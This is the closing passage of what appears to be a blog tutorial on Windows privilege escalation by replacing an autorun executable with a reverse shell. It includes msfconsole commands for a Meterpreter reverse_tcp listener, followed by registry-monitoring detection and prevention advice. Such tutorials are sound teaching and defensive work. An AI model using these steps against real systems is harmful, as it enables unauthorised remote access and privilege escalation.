Attacker Machine</figcaption></figure><h4><strong>Transferring Malicious Executable</strong></h4><p>After creating a malicious payload, we transfer our reverse shell program to the victim machine. I am using a python webserver to retrieve malicious executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*Wmlrx_JRfqMxwHwMQdlvIA.png" /><figcaption>Starting Web server on Attacker Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hA5B2rSeSC5CNbjrf3gqHQ.png" /><figcaption>Retrieving Malicious Payload on Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWLeNhWnjJJAY0UH-rAKyA.png" /><figcaption>Specifying Path For Malicious Payload on Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*kJtQ28Od5_ejACIlXZDsig.png" /><figcaption>Replace Program.exe With Malicious Payload on Victim Machine</figcaption></figure><p>At this point, our reverse shell program is replaced with the original program.exe program and stored in the Autorun Program folder.</p><h4><strong>Set Up Listener:</strong></h4><p>The next step is to set up a listener on attacker machine and listen on port 3333. For this purpose, we will use msfconsole to catch the reverse shell.</p><pre><strong>msfconsole</strong><br> <strong>use multi/handler</strong><br> <strong>set payload windows/meterpreter/reverse_tcp</strong><br> <strong>set lhost 10.10.235.180<br> set lport 3333</strong><br> <strong>run</strong></pre><h4><strong>Executing Malicious Payload (Reverse shell)</strong></h4><p>Once the administrator <strong>“TCM”</strong> logs in the victim machine, the reverse shell automatically executes and gives us a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*UtV6UmZUxxqXsaxv22po9g.png" /><figcaption>Reverse Shell Of Privilege User</figcaption></figure><h4><strong>Detection:</strong></h4><p>We can log windows event ID 4657 to detect any modification made to the registry keys. Further, we can specifically monitor the following four registry keys to detect if any key added into the following registries:</p><pre><em>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</em></pre><pre><em>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</em></pre><pre><em>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</em></pre><pre><em>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</em></pre><h4><strong>Prevention:</strong></h4><p>Only allow authorized users to modify, create and add keys in the registry. Further, permissions should be checked and validated on all the executables that bind with Run/RunOnce registry keys.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e22a821f481" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>